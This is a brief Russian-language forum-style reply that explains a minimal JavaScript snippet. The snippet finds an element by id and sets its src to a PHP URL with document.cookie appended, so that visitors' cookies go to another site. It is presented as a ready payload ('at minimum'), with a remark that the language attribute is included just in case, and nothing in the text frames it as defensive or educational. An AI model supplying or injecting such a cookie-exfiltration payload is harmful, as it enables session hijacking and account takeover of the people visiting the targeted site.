q - это номер(id) элемента. а q.src это обращение к объекту q.
Как минимум -

<script language="JavaScript">
q = document.getElementById("q");
q.src="mysite.php?a="+document.cookie;</script>

language на всякий случай